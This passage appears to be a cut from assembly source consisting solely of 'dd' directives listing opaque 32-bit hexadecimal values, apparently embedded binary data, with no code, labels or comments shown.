6FCF7E03h, 0DA6680BFh dd 74960055h, 8E41C63h, 0F0004C51h, 6E7BAE8Bh, 7FBF819Bh dd 6F1500ACh, 0D921DFA1h, 48FA6556h, 7834C600h, 8C4C231Ah dd 82881E94h, 0A7BC0044h, 1F43B4EBh, 298AD001h, 8636EE9h dd 8931B040h, 0AEE13C0Fh, 0A524C080h, 50E6FF81h, 2B2EA00Ch dd 50F629BAh, 48F798A1h, 0A500949Eh, 0AEA2FCB5h, 6D008A56h dd 0D85A7767h, 50CE064Eh, 97A639h, 8CEEEFF3h, 0BC6D0760h dd 241CDB39h, 0EB01182Ch, 40E3AA97h, 0EAEAE02Fh, 0BF455C00h dd 3A2701CAh, 0C9CD04FFh, 0D0B73B65h, 0D5714D50h, 93AF1E04h dd 70905D9Fh, 59B6B131h, 0C91C04A7h, 0C70B4050h, 146E35B5h dd 0DD832E05h, 29C0608Ah, 0C116A82h, 440967Bh, 6B3EE240h dd 77620146h, 1AD7437h, 223F1884h, 0C246C033h, 0C300CA5Ah dd 0C85E982Dh, 7F56E2Ah, 0DF20E803h, 4C4BD050h, 2576E307h dd 10FAFEAh, 29D097C1h, 64A00053h, 0A0EF47FFh, 9B88A1h dd 0D8B0E244h, 15B3A3Fh, 0F39EE11Fh, 75B1F680h, 7A354E60h dd 0EAA500C8h, 61EEC7B5h, 69005D58h, 0D406370Dh, 3E2313FAh dd 3E9D92E5h, 0B4488090h, 245D943Ah, 13980650h, 34360200h dd 0A9237982h, 55090057h, 0C927E19Bh, 0B700B14Ah, 3D42F7F2h dd 98664DEh, 1669B6BDh, 0AB8C90A0h, 0B1004894h, 0E7E31119h dd 982D98E4h, 5021E48Ch, 24DDC84Fh, 9C43A5h, 0F8F75FA9h dd 5100F662h, 766778Ah, 0F29F65C7h, 4E9C00BCh, 0F4A6970Ah dd 8000E99Eh, 63B5E4BBh, 4CD383EEh, 1F001FE6h, 93A86C24h dd 41606B03h, 0F94B85Eh, 96AD00FBh, 570858AEh, 1900E799h dd 73AA4BC2h, 0EB7D1A7h, 546455BFh, 96636AC0h, 17009D4Dh dd 2058921h, 3CE193EBh, 0C100B73Ah, 0D50DA616h, 62072214h dd 0ADEA711Dh, 8AD48420h, 9AB200ABh, 0EE6D016Eh, 0BC0430C5h dd 0BA0748B3h, 4041B4D2h, 36ED80h, 9A08B9F5h, 1C95D0DBh dd 8E572400h, 217AD97Eh, 994E004Dh, 37E09F84h, 90046AB2h dd 0BBB62C6h, 3A65BC80h, 2D403B5Dh, 7BA3F900h, 4BD693D4h dd 0ADB0FB00h, 1B3D84AFh, 8424E3FFh, 9455287Ch, 157101F0h dd 0FA45FCDh, 4EC8D0A5h, 0CC18966Fh, 452610EDh, 0A12880AFh dd 8357EF3Fh, 0C43B07E7h, 57887294h, 631EE00Eh, 0E200201Fh dd 0B179EB5h, 1426749h, 0BE21FCC6h, 0F199C543h, 844440E5h dd 3878747Fh, 0BA487C50h, 5D273D18h, 0AD1F381h, 746F86C0h dd 0A1D5164h, 0B382D30h, 7C28F210h, 190E101Ah, 20DBFF12h dd 2349379Ch, 441400B7h, 0C5CB2DEAh, 0F901C37Ah, 0B316575Fh dd 0DA41C26Dh, 0EACCEC2Ch, 28EE0023h, 1E2D0EBh, 0E100B2E9h dd 854D07C9h, 3BAF442Ah, 7680D992h, 0C3F14240h, 3E0701B0h dd 0A2B6D165h, 3C00E637h, 73FC706Bh, 0C41D0092h, 9C615BF0h dd 0D70016A6h, 0DDD13F06h, 683D7Bh, 0D2F0AE44h, 385A0FD9h dd 4F66C14Ch, 8F01B0h, 0A2DEE8F9h, 36311B99h, 3EE36101h dd 5032963Bh, 39F4E9D1h, 0BBC8008Dh, 0EED9575Eh, 0EF0F8F7Ah dd 83F977A7h, 0E8EDD05Bh, 5561B94h, 0ECE0ACC0h, 0D7AC005Dh dd 5C4DA025h, 0D04A0C03h, 0D7C31E2Fh, 361392D0h, 0E0100089h dd 0B184118Ch, 0D200803Eh, 500C0EFEh, 0E3A64EAh, 0AF305C71h dd 7C203B00h, 898A66Bh, 9E4854F2h, 85B000E8h, 0C11B24BFh dd 0F7B8021Dh, 5DB76330h, 0A9004AF4h, 91B16750h, 177568h dd 0CD6DE16Bh, 0ABF87705h, 25C23600h, 8A917D3Fh, 0E61003CCh dd 987CDAB9h, 0D26EF380h, 5F38CB78h, 0A2BDA6BEh, 0FE5C3B00h dd 3E46805h, 76E28477h, 0D8D80DD2h, 70006487h, 5495B8CBh dd 2002CDh, 0FCD2E32Bh, 0DD0FBC0Dh, 9D55E900h, 0CED17E63h dd 1B3F26FAh, 5A11005Ch, 1AA1F1D9h, 5BAD10C0h, 302940h dd 107C9514h, 0F9244F82h, 59CE58h, 73CF88ADh, 90990E70h dd 8E930750h, 1596DD7Ah, 404C903Eh, 0F0ED9E6Ah, 5F2CD52Dh dd 0B980F8C0h, 8DD396E6h, 824AAAh, 81A4F10Ch, 0D2E8AC61h dd 0B53C41C0h, 940EAA2h, 1266CC28h, 0F56A54A0h, 0BE2689AEh dd 0E0013CF1h, 2B92871Eh, 2CC6465h, 0BBD100C9h, 717B2D6Ah dd 7D004E23h, 5C9D651Dh, 3DEC3CA5h, 29069A84h, 282BC8FDh dd 0D1C77500h, 0AE9C6568h, 0D2E900D5h, 0E83E24CAh, 0A15CAC94h dd 670F74FCh, 80515348h, 0FE1B96C2h, 9EC8E138h, 59120242h dd 0D0D6135Ch, 0A2E460FFh, 7E180271h, 0CA31E229h, 6BDDB080h dd 0E80098F0h, 5C26287Ah, 78194FFCh, 2D443920h, 0C5BC54h dd 0D7ADA2D3h, 325E39CBh, 19DB7609h, 0EA188596h, 0ED90C0C0h dd 3C201DD3h, 60D88E7Bh, 9DD04CB3h, 0F49802F0h, 6DFF6B01h dd 5E5F100Ah, 921470h, 9B9BFAAh, 171C273Bh, 1035F51Ch dd 759BBA44h, 5F113380h, 43E201DAh, 0BEAEDE03h, 0D97E7092h dd 3E703302h, 0E0D6500Dh, 0E2885F1h, 88A15655h, 0E458EBC1h dd 0A8909EECh, 22200062h, 0EB890363h, 0FA01BDB5h, 0D70572D1h dd 0A3F835E6h, 96040048h, 0B5BC815Ah, 5100855Eh, 798F947Dh dd 0F303F1h, 6A74DF08h, 70AF888Ch, 0F211C400h, 0E16D9002h dd 460F0E5Dh, 53EDADh, 602684A4h, 0F701A7BBh, 680B47B0h dd 5560450Ah, 0DA7F0087h, 462B328Dh, 44008CA3h, 0F68383Ah dd 5084D5C0h, 0B8D0943Bh, 135B30ECh, 44781511h, 0DD23D301h dd 0BBE5D8A7h, 24E192h, 248D11Dh, 540090A6h, 220ED566h dd 0CF444Dh, 2F503704h, 9FDFC8E3h, 421CDD75h, 0EF016DE0h dd 0F86CA054h, 0EEC78C8h, 1B7ABADh, 20A2971Eh, 2DD411B4h dd 0BA9D6300h, 234DC0Fh, 8CC507D6h, 40F5F8ADh, 1DE2ED57h dd 716C4100h, 366A93B9h, 5C870086h, 9663739h, 0C6004F8Bh dd 773DCC4Ah, 0B7460Bh, 0A950ACD0h, 3EA34521h, 854AC100h dd 0DDF8952Bh, 10721D06h, 84C2016Bh, 0F8417558h, 7B010F74h dd 33EEB1FFh, 4CF815FCh, 0EAEC0030h, 0C5245804h, 4400F57Dh dd 6DAFBF8Bh, 989B678Ah, 87F10018h, 99B69A3Ch, 0CE01FBD8h dd 3336AA03h, 68810122h, 1F37E50Eh, 788CD850h, 93122602h dd 44385157h, 0F637F45Ch, 0FA9800F1h, 94BE1F95h, 2A00FC11h dd 823039EAh, 0C5BA19h, 738F9E9Fh, 0B3DCAD75h, 89802F00h dd 65D664E0h, 98A87EDEh, 71EC014Ch, 0E1D439CCh, 76A8287Fh dd 18006B4Eh, 11B0948Eh, 48EC3EDFh, 40AED589h, 0DE44E800h dd 0A324B833h, 300057B6h, 750B2A67h, 499F60C1h, 6B6F5114h dd 53971A02h, 68A3F5DAh, 394A3674h, 8380A1EAh, 3AED3272h dd 490096D7h, 0D3E7B368h, 7AF2FC3h, 9C0F478Eh, 35CA60F4h dd 678614Ch, 8876024h, 0C9906D0Ch, 17400062h, 6542156Ah dd 3916720Ah, 4006E8Bh, 0CCF809EDh, 68F00E6h, 0C118ACA5h dd 2F004189h, 0BECA0252h, 169134E9h, 0E52C88h, 0FE4E3143h dd 0DB7B2618h, 4709C05h, 0D400FA74h, 0D1990760h, 0D7D200D3h dd 0B09D725Eh, 737F0D5Dh, 0B7C7E500h, 60F802Bh, 3C460027h dd 35FBD6BFh, 4B0098EEh, 79261492h, 30992994h, 0F3124CDCh dd 0D00AEE7h, 8F0A2521h, 602C4195h, 4672D8E1h, 0A400A606h dd 0B9CB592Ah, 76915h, 42985068h, 0AADEF6C4h, 4509D8B0h dd 48C774B1h, 3990488h, 9421E19Eh, 0C4C03188h, 2E0041F7h dd 4E0A10FDh, 5B5E6EFh, 0E9A31DB2h, 515C01Eh, 6C1F3A95h dd 51C0B744h, 0EC5FC4BCh, 9748008Fh, 5B401BD9h, 6E00C874h dd 0FF452A2Fh, 0C78395h dd 5881BC79h, 0ECF8A4A0h, 0D43980B2h, 641D128Ch, 0FC7A9407h dd 48626992h, 13A908ECh, 1ED596h, 34CA44F0h, 7405722Ch dd 6766BAC6h, 1120C1EBh, 91CCE883h, 0A3F9080Ch, 7D6582Ah dd 479E6253h, 0B07750C1h, 78C04B3Ah, 277C5740h, 0F2280944h dd 5CA2BD56h, 9CEB1038h, 9D8BDCC0h, 8E93737h, 66368EDEh dd 28215CC8h, 31C4EF2h, 0BC7C673Eh, 25A14F43h, 0AEC4814Ah dd 114484BFh, 50F1FA60h, 94AD1853h, 0BF3A0184h, 803C275Ch dd 9CA25638h, 0C7E69CEh, 0C15F0EFBh, 0D00B831h, 66FAC5F2h dd 0C1B2E5D1h, 3C84AC41h, 0A451C21Bh, 0A5C81C10h, 9DCD990Eh dd 0FFFD00BCh, 14B15B49h, 71C94C44h, 9D7BFB07h, 0FC99B005h dd 0FD005112h, 155EEFBEh, 7BDC0CCh, 0CEE693E1h, 8012C5E0h dd 7D05357Eh, 0DF0089E4h, 2809AAB0h, 1BD4DB5h, 0A96786F8h dd 8593EE24h, 707A4688h, 6463D800h, 994C8Bh, 0D5C2517h dd 35EBF587h, 78863000h, 7EBA219Ah, 4324C4Ah, 0D0AEA53Dh dd 0C926E9h, 1B27854Dh, 50051B1h, 3DC3C1FFh, 0D996B3h dd 469B651Ah, 7D2A36C0h, 0BF07777Fh, 0E79C662Ch, 966D1321h dd 84FBD4h, 513A5B3Dh, 7ACC21A4h, 3E4F0F1h, 0F2F9C600h dd 0E391528Dh, 5B3A051Dh, 0D0165EBEh, 1A7CCBCCh, 349D9000h dd 94FF4960h, 99E5269Ah, 9FE9007Ch, 2C702833h, 0C13B7500h dd 94ED64C7h, 0B3C92020h, 0EE7E8302h, 0C0539D5Dh, 88AD7F98h dd 0A200FC92h, 0BE46FA0Ah, 0F04E43FBh, 29CF0641h, 4095E8F2h dd 0AF5DF02h, 232A152h, 9E22BB63h, 73B0D865h, 0B3C80248h dd 45977DB2h, 0AB55AC68h, 1A9C8B03h, 0A0B64AFEh, 275A5DF9h dd 0B400E2FBh, 7C7BB212h, 4000CB5Ah, 0BE31F068h, 0BB77B98h dd 33E40E80h, 42804CA9h, 190973CFh, 8F4C4703h, 0E034D44Ah dd 0DCBC42h, 0B8667DC2h, 61186954h, 0EC961C00h, 0FF6C80ACh dd 0A6330043h, 0AFC50731h, 127B97BBh, 406F7E00h, 71053D2Ch dd 18E3057Fh, 0C1A70208h, 2841A0C0h, 0EE130004h, 822256C9h dd 0BF97054Fh, 654DBCh, 61432790h, 1E1ED5Dh, 0C212592Fh dd 803C7851h, 63B67BAEh, 5FE212Ah, 0B95B7CA9h, 0EEF440B5h dd 938F8173h, 6B440A16h, 0AE4B1843h, 0DA70CF5Ah, 44E76B6h dd 0F645BABh, 3B0080B0h, 7A0074E5h, 10685A11h, 0C713F1F8h dd 0A3A9E71Eh, 53C7FBA4h, 65C0B453h, 70499674h, 0AC2429D4h dd 0BA72CE80h, 3A65DEh, 0FE59060Ch, 1044A2CAh, 0E27D30C9h dd 0EB9103B0h, 0CC0EB8ACh, 72022673h, 8E09804Ch, 0B195D27Dh dd 355F18F4h, 5658800h, 0D5E98Fh, 233BE21h, 2E392F75h dd 0D2CFC900h, 6449D496h, 0C882EE2h, 0EB50BFCh, 0BD5AC080h dd 0D024F9Ch, 0F5939B98h, 0E378C02Fh, 3825287Eh, 0E354EAA0h dd 340FD8h, 51CFF40Bh, 0E68413Ch, 80D60C00h, 20B38419h dd 28780303h, 0ECA0AF36h, 174A4848h, 400A861h, 219C30D7h dd 9A420169h, 29C0FAE3h, 0A025D4F8h, 91EE4900h, 95AD1C9Fh dd 0A38D175Dh, 0A2A802AAh, 0E904979Eh, 33007B38h, 0ABF8731Fh dd 62F9D4Fh, 5424C00Fh, 0C9008E0Ah, 5E473A23h, 9C0DB4h dd 0B1772B9Dh, 290C792Eh, 6EF92700h, 0C30A36D1h, 0A5EC1D73h dd 12224008h, 0BD06B73Eh, 19C7D500h, 6E603323h, 0F053F5D8h dd 0B650E83Dh, 0F2C32D22h, 0DB239880h, 811780B1h, 8C5D7AF9h dd 0E6E10B78h, 19B4619Ah, 90F07DCh, 21453661h, 40925020h dd 80E127D5h, 977AD811h, 2BBCA7h, 6F232F6Dh, 572F3ADh dd 52EEDD00h, 85DBE29Ah, 21CF1722h, 0CB8880AEh, 6F0BB924h dd 805BC649h, 0FDBD274Ch, 189F615h, 3367C4E1h, 8E106B8Ch dd 37AF30h, 0C6A1FEE9h, 7C7B7DB5h, 11E137F5h, 880990E9h dd 4000EDBAh, 7A9E79A4h, 6AD6CDh, 50F58B28h, 0A2F798E8h dd 0B75D4600h, 42E9F0Eh, 0BA790130h, 588890DCh, 0A46330FAh dd 0C613B800h, 1FD0558Ch, 5E8E00AAh, 0BFD52CA6h, 0C801815Bh dd 7BFE581Dh, 24203D4Ah, 0A69148E6h, 0E587C500h, 0D6BED95Dh dd 6571430Bh, 0FDC480E4h, 57ABECh, 0AA1642A5h, 438FAF52h dd 132ECB7Eh, 101E325Dh, 0F708806Fh, 3CC33F9h, 0E0423561h dd 53F0166Eh, 0DB26D807h, 0B6009C37h, 8233466Fh, 290F0293h dd 52BFB566h, 0FE89BCFBh, 0A08B89FDh, 54579340h, 4EC018Fh dd 4FAD95AEh, 1A59C8DEh, 0C8355Ch, 53DD3866h, 643D4Eh dd 0DA0E6157h, 0C812AB0h, 0FC5F0400h, 0D7B339FBh, 42DF00D1h dd 624D967h, 0F40E889Eh, 40CF436Bh, 0D80FA99Fh, 38DC3D37h dd 0BE8081B8h, 4533EEEBh, 0E900B2D9h, 1F2FA873h, 5626DAh dd 0D392DC14h, 945B89C8h, 76EBCA02h, 0A090835Dh, 48BDD2F4h dd 9CAA0B10h, 70658C42h, 5BC261D0h, 5F280B9Eh, 3490709Ch dd 0C8B8945Ch, 1A4407EFh, 0B090DBF2h, 5D16223Ah, 88C6D515h dd 5C0D0008h, 0BEA58B53h, 0A7039052h, 564CB524h, 0D0CBD511h dd 38748708h, 0F8BAC24h, 7A48718h, 0F3452110h, 2DC014D4h dd 9B8E8C06h, 41817C60h, 0B60FDB8Ch, 205745BEh, 0F21C442Bh dd 4234945Ah, 0AB115CBCh, 9CE3F700h, 56E08485h, 74F280BDh dd 3F0024B5h, 0E7121429h, 66CAB3h, 0AD792064h, 5BE440C1h dd 0BA927606h, 2E4C43C8h, 102A9Bh, 0BFEF1E41h, 7D306246h dd 67EABC68h, 0D3A8035Ch, 0ECBE2ECDh, 0D1221988h, 23C4C00h dd 23A31FEFh, 0F9C701AFh, 0C660B9F4h, 8411F48Eh, 0D2B55500h dd 0FDAF59F6h, 1D24009Eh, 23E68091h, 940048DDh, 1EE202E1h dd 0CAD90Bh, 86AAE8CDh, 7DDCF17h, 47ECDA0Fh, 0C38D6070h dd 5F81F9h, 92601390h, 0FC1DF551h, 0F484C100h, 5AFEC8AAh dd 406C0093h, 0BABF9995h, 0B86F3ADDh, 0AC58EA18h, 98903312h dd 67CB89h, 2C48F190h, 48811CDh, 0F9BA7B12h, 0D7132447h dd 601BA941h, 20911180h, 0D3E92BFEh, 0F1FF9C19h, 21806509h dd 6FE28B1h, 461DDC96h, 0D6C0C12Ah, 0B9B7DE3Fh, 118F06CAh dd 0A0837040h, 10478DA0h, 925F5D07h, 64301A56h, 304E128Ch dd 0CEB89E6Bh, 48102EB8h, 7800B999h, 0FA7BEB2h, 5C185FB5h dd 0E2087D1Bh, 0D920C0B8h, 0D4C2BEADh, 73A57A07h, 63666C9Dh dd 33860070h, 619E0D31h, 800274Bh, 263A7C66h, 0D8969Ah dd 342E462h, 32BCEB74h, 6B23CB00h, 0F49FDE7Ch, 0B87F0051h dd 9BC03F1Dh, 0E3706166h, 5AD97900h, 78A96075h, 0FBD6004Eh dd 48463FFCh, 3579C38Fh, 0C981B700h, 0F8FA670Ch, 0EE300B8h dd 245946E0h, 3800EA12h, 0E84323DFh, 3E7761F1h, 0FF833B06h dd 47623E16h, 0F69A0200h, 1C8FA9DBh, 31C00055h, 0A14EA735h dd 7602D67Dh, 2BED142Eh, 509640C4h, 62DB0070h, 6E34A10Eh dd 9707EA7Ah, 8EE795E2h, 89FAA720h, 8FA80370h, 1520F5BCh dd 685CC0F0h, 0E5470B09h, 4E1E0045h, 0E875F8h, 0B6BEE479h dd 97EC280h, 9AF40500h, 916ADF8Ch, 2F070346h, 0A16DCB94h dd 0AFE7407h, 0D792AB5Ch, 0BDC2602Bh, 0C2573CFFh, 311FA600h dd 879A9625h, 556CF00h, 0B88392AAh, 15B91C68h, 0C0A75826h dd 0C62E7F11h, 75039895h, 0D09282B8h, 5700464h, 0A009C9EAh dd 8F53809Dh, 0A00416Fh, 6D5BF90h, 370C01Fh, 0A13F591Dh dd 74C9677Ch, 4F598192h, 0B39F2669h, 7337E5F8h, 5F830018h dd 9E1A4822h, 910B4CECh, 8C12CBCh, 803DF87Dh, 0FEC45D1Dh dd 0C01630D5h, 26731E48h, 340B68F0h, 0DB32C38h, 0E7FC30A3h dd 0FD7512h, 0B080B9F5h, 56DAA0D9h, 0A6015B7Eh, 8DCD73ABh dd 9DC03AFBh, 84D30028h dd 0D936F843h, 7051FCFh, 0C3E7F557h, 3F4EFC40h, 0C78AABh dd 0BDA296D6h, 4654ED40h, 7EA9E900h, 0F7EBB285h, 0F1300775h dd 20E3B9AEh, 0EC1E80E2h, 0F54418C0h, 0E6D4F097h, 3D43007Fh dd 0CABFF410h, 640FE60Dh, 6085E8DBh, 8BBAEF40h, 317E001Bh dd 805551DAh, 8E003AD1h, 5CF3DCA9h, 7FA42343h, 50CC00B2h dd 711E4D3Dh, 0C8021C0Ah, 1B531ABh, 0FAFBE09Bh, 0F5F9033Ch dd 0CBA9265Fh, 205B8289h, 1C283B1Fh, 0F5909866h, 0D68F2000h dd 97BD7AA5h, 0E7EC0371h, 0EB70693Ch, 0B3619AE0h, 21B15B00h dd 0C4D5D022h, 0B22D006Eh, 8B80104Ch, 2C001506h, 9B618829h dd 0E44BECh, 0EB428495h, 0C997988Ch, 86E05B04h, 6C87AC1Ch dd 0C081DBD2h, 697408h, 8EE383A8h, 8A3EFEEDh, 0A09FEE00h dd 1706F78Ch, 90AD3DD1h, 0A598993Ch, 5BF6B9B8h, 0D7612000h dd 22296849h, 55060021h, 0A034CAF5h, 0F21833A9h, 357059E9h dd 0D7ED01C0h, 196549FFh, 9203E0DEh, 81B9913Dh, 0C6731D30h dd 48D6CBFCh, 11761F30h, 21CC0719h, 0FEDE00A8h, 255D3917h dd 0A603B2F6h, 6FEEAC0Eh, 0A7DFB0A0h, 62630006h, 0B6D84D19h dd 241D818Fh, 7002B856h, 86CD74D6h, 686C87h, 12ED0BEh dd 217598A3h, 0D91F0E14h, 663007B1h, 1CC0B072h, 2E5024E6h dd 0E0E94Ah, 268D1AD4h, 33006F03h, 0B07571D1h, 516CB80h dd 0E477FF93h, 5AA00098h, 8E3D8632h, 0E6828550h, 6D1BB802h dd 4104B030h, 5CC49A40h, 0CD7B00F7h, 0A292C8EEh, 60514E1h dd 70F3DA74h, 5A6C75C0h, 64DE0081h, 8F27B947h, 36004F4Dh dd 3AE573Bh, 16C49FAh, 80F5E6DCh, 50BFDF96h, 6416A898h dd 6B74F200h, 920DD3C7h, 0DB53034Ah, 66B08EECh, 0ED03DA3h dd 51078A5Ah, 0DF6D0F14h, 7F7D5300h, 26B50142h, 5A86B198h dd 90D2E85Dh, 0FBD5CE07h, 80EE1477h, 0C96E6CB7h, 0D8FF0008h dd 214C3484h, 9B0769F9h, 463C7F56h, 496DF000h, 0E8AF0989h dd 2420AB2Ah, 0F16316A3h, 549E7358h, 810060F8h, 884D6640h dd 743FD9DAh, 2421F483h, 28197Eh, 0EAE83D45h, 4D0C0F47h dd 1826409Bh, 0AE9706CEh, 609AA0C0h, 9FEBC339h, 0F4C0FE45h dd 0FF6EC510h, 6AB51F48h, 84B80012h, 33B3869h, 9288A800h dd 7F6F44BCh, 0DF171EF9h, 96ACC0E0h, 80169594h, 3A6ABE00h dd 0ED884744h, 0C138003Ch, 30B39A34h, 66000F1Fh, 0F993106Dh dd 9F1DC59h, 0DB682764h, 0B86AB400h, 3B016FD4h, 5790EA08h dd 0C5F46C66h, 55BF2463h, 0FE803B1Ch, 1E7211FAh, 3400F4B7h dd 6C46284Ah, 345F87Fh, 20B6E289h, 8BE890CBh, 4700726Bh dd 0E988C0B8h, 9F22FCEh, 1D976140h, 0A0C93B80h, 487BF370h dd 0E58758h, 6E25B03Dh, 2426A1D2h, 267045E7h, 0C29100CFh dd 0A90D1153h, 36C52200h, 1E8118C9h, 0A4CA50C1h, 44724B0h dd 365A80D0h, 39F674BEh, 0BCAB501h, 0A3F8BBE2h, 7250DCD8h dd 631400ECh, 97776248h, 0AF018C0Dh, 40569FE0h, 28C0F3A4h dd 20C06093h, 1DCC3B27h, 0BC24B800h, 0F0204EFCh, 1FC60772h dd 601E6822h, 415BDADBh, 21EC7400h, 0D30595A0h, 0E1500728h dd 80E81664h, 9836AE9Bh, 1691D3Ah, 2572045Dh, 92208A12h dd 0D5E90051h, 0B8916399h, 953D80EBh, 74C8092h, 0B4A2DDB0h dd 9BB0050h, 0E5AA6B7Ah, 171F246Fh, 824029F7h, 0B63FBC26h dd 2C50B8D5h, 3F04225Ch, 0E9A1D300h, 1F979F7Ch, 6E7E9092h dd 0BB912D00h, 7F3A8861h, 834000CFh, 90C6CAD6h, 8100BA1Dh dd 0F9E50876h, 7A67C1Bh, 0E1010F1Eh, 0BEEB2223h, 800284C1h dd 2443D910h, 0EA3A7BDh, 0F1B9CB4Eh, 35D8FAA0h, 5807F7ACh dd 0F29DE40Bh, 0B92736A0h, 86840061h, 56D0CE2Fh, 0AD01BF5Fh dd 0FF2868E2h, 1E70ED3Ch, 801900C7h, 0F38BA2E0h, 9800F23Dh dd 3272952Ah, 0C1FE64B3h, 0CA79A360h, 0AE718031h, 0ACBC1FB6h dd 0B01E0D5Eh, 21184BCEh, 0C2C1F3C1h, 2011B0A4h, 58FC9BA6h dd 6F001410h, 26BAA203h, 0A9012311h, 71571E56h, 29F84EA6h dd 147A1887h, 95026930h, 1578A500h, 5F51310Fh, 7C1A003Ah dd 0BAE725ECh, 71001834h, 2EAFFA9Fh, 372DFCF4h, 0A0B0D4BEh dd 4C87196Fh, 284E693Eh, 57000CBBh, 9C7BA66Eh, 98D2CF11h dd 0E3751E46h, 1302402Ch, 0BDA02FEEh, 4A55DB0Fh, 61D383B1h dd 4FD983Eh, 0DEF13CB4h, 0FC459400h, 23D0B606h, 792F7D00h dd 5B0A90E3h, 0C5B20007h, 0F087CB22h, 0BF012401h, 30E8D359h dd 0EE202C73h, 346B00E4h, 0FB172E8Ah, 642CD49Bh, 57031329h dd 0E0A8B2F8h, 0EFF10C7h, 0D42DFBB3h, 0A0051E40h, 0CA0320DCh dd 6BD2DAE9h, 7800BF83h, 5975BFEh, 74C9393Eh, 8CA005A1h dd 82AB8018h, 2400A3EDh, 92F03FF3h, 804B62h, 5EDCD2C2h dd 0FF90A8B3h, 48E74703h, 17237ABh, 0EF05B964h, 0C0131292h dd 0A13D6408h, 0E4D4804Bh, 3539C4CDh, 18880358h, 5FD5F230h dd 93F9A4B8h, 0EBF85200h, 0F714DEEAh, 0B974000Dh, 3E08CA73h dd 7AE82CE0h, 0C3CA8D60h, 7035745h, 7229CB9h, 6F0EF094h dd 2D7993EEh, 0B50012B8h, 4DB746ADh, 1E33FE35h, 0C06CF68Ah dd 7966B189h, 0B40C039Eh, 0E0E821A2h, 8F7A0096h, 4AD62967h dd 15014160h, 0D548CBEh, 49CCBA57h, 0B8BD00CFh, 0B21F427h dd 0C1006E83h, 34B9A424h, 0AA74A6h, 0A8879D4Bh, 3F182D4Ch dd 0A90081FAh, 0EC758B4Eh, 1EBA58BDh, 4FCA042Bh, 5158D198h dd 0A7E6B2F2h, 803DA00Eh, 9C8CA3EDh, 18C7C010h, 1A49007Ah dd 0B203C1Bh, 0AE00C534h, 828ABFA9h, 0D975ECh, 96CC14D2h dd 7FB54DFBh, 361DB007h, 20E050BCh, 1A56C71h, 7957C01Eh dd 20FBC225h, 1100E0D0h, 0F9B89397h, 5C6553h, 0E3BE6D6Bh dd 0FE03AB4Eh, 34D08212h, 0B88AAC40h, 1E2F7832h, 784B8BC4h dd 0F5DC507Eh, 0A9FF00C7h, 0DDD43B2h, 0B43DB120h, 686600C5h dd 0AD54A359h, 0E0E50B32h, 2D060E61h, 0ED00F8F6h, 5DDBC9B7h dd 1EE7D8B2h, 0BC2D7708h, 86670A80h, 361A359Bh, 0B149CB01h dd 617FB473h, 782C81D0h, 0AD1003E4h, 0DC8D31C6h, 0C098C10Eh dd 60C10C33h, 0D1C70E5Dh, 15E0A9C6h, 171F146Dh, 0DDAF3B00h dd 8B612145h, 0F472009Fh, 0EBCC2B43h, 0F01D2A60h, 640DE89h dd 0E4619CA7h, 0A64D00D4h, 0EB8B5B3Bh, 0BA00170Dh, 6D101C9Eh dd 3E92472h, 0CC49DEFh, 0A003F77Dh, 3661D0FBh, 0AB8800B0h dd 4FA8E68Dh, 0B9A0170Bh, 6330879Ah, 0C7E24014h, 0C4270550h dd 5F7DA2h, 375940D3h, 0C80A17A5h, 0C41AA1D5h, 0EED6F640h dd 63F912CCh, 0B59800D0h, 349BE549h, 590043EAh, 81C3EB8h dd 1894E2h, 61151BE8h, 0F533092Bh, 2940C100h, 0A7965A95h dd 0DA760042h, 4FAA16DCh, 2C07B559h, 29379BF2h, 93400A91h dd 4314AC40h, 53B900D9h, 0FFD1971Dh, 0D33ADADCh, 0A3520013h dd 0B3A9597Ch, 515507AFh, 100F2E83h, 0FAA8B1B6h, 2C715B03h dd 0C87789C7h, 96D6DCh, 2F85C641h, 7BB02111h, 0B28E1400h dd 56EE50CBh, 8BB32479h, 0FA26BC54h, 15A5010h, 4CAEC605h dd 0D2007770h, 57542CB2h, 7A1A1E64h, 0D40283F0h, 0DC855E9h dd 0E067DE5h, 9BCEDA3Eh, 0D8E66F2Eh, 0C5322520h, 2D148CB7h dd 1DD8A8F2h, 0A5408F6Fh, 9336E9EEh, 614B24BEh, 0A30D8E80h dd 7F28C86Ch, 96E9681Fh, 79D4A6D4h, 435D120h, 0D8E43370h dd 224C904Eh, 0BA050631h, 0D734FF8Ah, 0A4B5B846h, 73DF421h dd 183CA8D1h, 2E91F028h, 2607C729h, 0BE8BD9Ah, 45FAAD30h dd 3DA200EDh, 0A8494BDAh dd 3C39DB84h, 0F644809Eh, 0B2323E66h, 0BD080054h, 0FB7F697Dh dd 0CD00E0A1h, 0A8928E98h, 9080592Bh, 5F7C0087h, 0BE45A9E1h dd 0E61D3F58h, 11876301h, 0DDF0DA0Ah, 3EBC866h, 4F6F591Fh dd 0FFE0D45Fh, 0EF282028h, 5C00A5E4h, 6D99D44h, 0ECE2AC65h dd 38B80096h, 8FC23176h, 0A900C44Bh, 0FAD56D52h, 1C3B95h dd 74A42134h, 433779EEh, 5CF67B00h, 961AF186h, 141F3A92h dd 0A0DC098Fh, 695BB7A0h, 0F9006A7Ah, 8EE55D03h, 5525CCh dd 1D2288C5h, 0E89E44C3h, 0A62C6C00h, 0F5637612h, 0D898A0EAh dd 7D721EB7h, 0D9AF00B3h, 44F643D0h, 94755000h, 1A426C87h dd 274100EFh, 29109AA9h, 900004F2h, 971C20ECh, 763D5B89h dd 472E003Fh, 1BCCACCAh, 9D0A1494h, 88039B92h, 0B966A600h dd 3D8EF235h, 77008423h, 516F0DF4h, 16017163h, 43066C52h dd 420D568h, 120B00ACh, 88F92FE4h, 0A260E727h, 7C72C9B0h dd 1ED3BB2h, 85998C00h, 1F20FD48h, 980EA48h, 7651D32h dd 46C0B55Eh, 1F84AA7Bh, 2408DF01h, 0CEB1004Ch, 0A437B48Fh dd 91806E00h, 7088BB9Bh, 64B853h, 6DCCD1D6h, 0F428C062h dd 0EC41DF30h, 13F59CBAh, 400C12BEh, 4B596138h, 0BC52FE8Ch dd 0CCDD04A4h, 9CD07B47h, 30EB300Fh, 2F119BA7h, 0DD01CE90h dd 5D08572Ah, 2CCCB5E4h, 0D0C90069h, 875F3960h, 0F2042A45h dd 71BEB6D2h, 74BD1080h, 0B57CFBh, 0A2DF621Fh, 8FEF4286h dd 68060890h, 0ECC2F07Fh, 6F9038h, 7C779720h, 2F695828h dd 8B33C706h, 1029DAh, 0AF5BF896h, 0A3484142h, 0C3002870h dd 50C25E27h, 1EF8164h, 0BA5BF43Ah, 0EA305965h, 0B4A43440h dd 8349A803h, 800FAF9Ch, 0E53A514h, 306DFE3h, 